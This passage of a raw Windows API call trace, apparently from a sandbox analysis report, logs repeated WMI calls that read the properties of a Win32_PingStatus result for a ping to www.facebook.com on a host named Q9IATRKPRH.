puCount=0x572e900*=0x2) returned 0x0 [0138.795] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.795] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.795] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0138.795] SafeArrayGetDim (psa=0x5c78c68) returned 0x1 [0138.795] SafeArrayGetDim (psa=0x5c78c68) returned 0x1 [0138.795] SafeArrayGetLBound (in: psa=0x5c78c68, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0138.796] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.796] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.796] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.796] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.796] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.796] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.796] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.796] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.796] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.796] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.796] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.796] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.796] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.796] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.796] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.796] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.796] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.796] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.796] SysStringByteLen (bstr="__PATH") returned 0xc [0138.796] SysStringByteLen (bstr="__PATH") returned 0xc [0138.797] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8d44*=0, plFlavor=0x22b8d48*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22b8d44*=3, plFlavor=0x22b8d48*=64) returned 0x0 [0138.797] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8d78*=0, plFlavor=0x22b8d7c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b8d78*=8, plFlavor=0x22b8d7c*=64) returned 0x0 [0138.797] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.797] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.803] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8dd0*=0, plFlavor=0x22b8dd4*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8dd0*=8, plFlavor=0x22b8dd4*=64) returned 0x0 [0138.803] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8df8*=0, plFlavor=0x22b8dfc*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b8df8*=8, plFlavor=0x22b8dfc*=64) returned 0x0 [0138.804] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.804] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.804] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8e50*=0, plFlavor=0x22b8e54*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b8e50*=8, plFlavor=0x22b8e54*=64) returned 0x0 [0138.804] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.804] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.804] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9030*=0, plFlavor=0x22b9034*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22b9030*=3, plFlavor=0x22b9034*=64) returned 0x0 [0138.804] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9064*=0, plFlavor=0x22b9068*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22b9064*=8200, plFlavor=0x22b9068*=64) returned 0x0 [0138.805] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9098*=0, plFlavor=0x22b909c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22b9098*=8, plFlavor=0x22b909c*=64) returned 0x0 [0138.805] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.805] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.805] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b90e4*=0, plFlavor=0x22b90e8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22b90e4*=8, plFlavor=0x22b90e8*=64) returned 0x0 [0138.805] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.805] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.805] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9130*=0, plFlavor=0x22b9134*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b9130*=8, plFlavor=0x22b9134*=64) returned 0x0 [0138.805] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.805] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0138.805] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0138.805] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.805] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ResponseTime", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b936c*=0, plFlavor=0x22b9370*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x22b936c*=19, plFlavor=0x22b9370*=0) returned 0x0 [0138.806] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.806] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.806] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.806] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.806] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.806] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.806] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0138.806] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0138.806] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0138.806] SafeArrayGetLBound (in: psa=0x5c78c98, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0138.806] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.806] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.806] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.806] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.806] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.807] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.807] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.807] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.807] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.807] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.807] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.807] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.807] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.807] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.807] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.807] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.807] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.807] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.807] SysStringByteLen (bstr="__PATH") returned 0xc [0138.807] SysStringByteLen (bstr="__PATH") returned 0xc [0138.807] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9720*=0, plFlavor=0x22b9724*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22b9720*=3, plFlavor=0x22b9724*=64) returned 0x0 [0138.808] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9754*=0, plFlavor=0x22b9758*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b9754*=8, plFlavor=0x22b9758*=64) returned 0x0 [0138.808] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.808] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.808] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b97ac*=0, plFlavor=0x22b97b0*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b97ac*=8, plFlavor=0x22b97b0*=64) returned 0x0 [0138.808] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b97d4*=0, plFlavor=0x22b97d8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b97d4*=8, plFlavor=0x22b97d8*=64) returned 0x0 [0138.808] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.808] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.808] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b982c*=0, plFlavor=0x22b9830*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b982c*=8, plFlavor=0x22b9830*=64) returned 0x0 [0138.808] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.808] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.808] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9a0c*=0, plFlavor=0x22b9a10*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22b9a0c*=3, plFlavor=0x22b9a10*=64) returned 0x0 [0138.809] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9a40*=0, plFlavor=0x22b9a44*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d28*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22b9a40*=8200, plFlavor=0x22b9a44*=64) returned 0x0 [0138.809] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9a74*=0, plFlavor=0x22b9a78*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22b9a74*=8, plFlavor=0x22b9a78*=64) returned 0x0 [0138.809] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.809] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.809] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9ac0*=0, plFlavor=0x22b9ac4*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22b9ac0*=8, plFlavor=0x22b9ac4*=64) returned 0x0 [0138.809] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.809] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.809] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9b0c*=0, plFlavor=0x22b9b10*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b9b0c*=8, plFlavor=0x22b9b10*=64) returned 0x0 [0138.809] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.809] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.810] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0138.810] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0138.810] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.810] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ResponseTime", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9d48*=0, plFlavor=0x22b9d4c*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x22b9d48*=19, plFlavor=0x22b9d4c*=0) returned 0x0 [0138.810] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ResponseTime", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b9d48*=19, plFlavor=0x22b9d4c*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x22b9d48*=19, plFlavor=0x22b9d4c*=0) returned 0x0 [0138.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.811] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.811] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.811] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.811] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.811] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0138.811] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.811] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.811] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0138.811] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.811] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.811] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.811] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.811] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.811] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.811] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.811] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.811] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.811] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.812] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.812] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.812] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.812] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.812] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.812] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.812] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.812] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.812] SysStringByteLen (bstr="__PATH") returned 0xc [0138.812] SysStringByteLen (bstr="__PATH") returned 0xc [0138.812] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba200*=0, plFlavor=0x22ba204*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22ba200*=3, plFlavor=0x22ba204*=64) returned 0x0 [0138.812] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba234*=0, plFlavor=0x22ba238*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ba234*=8, plFlavor=0x22ba238*=64) returned 0x0 [0138.812] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.812] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.812] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba28c*=0, plFlavor=0x22ba290*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba28c*=8, plFlavor=0x22ba290*=64) returned 0x0 [0138.813] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba2b4*=0, plFlavor=0x22ba2b8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ba2b4*=8, plFlavor=0x22ba2b8*=64) returned 0x0 [0138.813] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.813] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.813] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ba30c*=0, plFlavor=0x22ba310*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 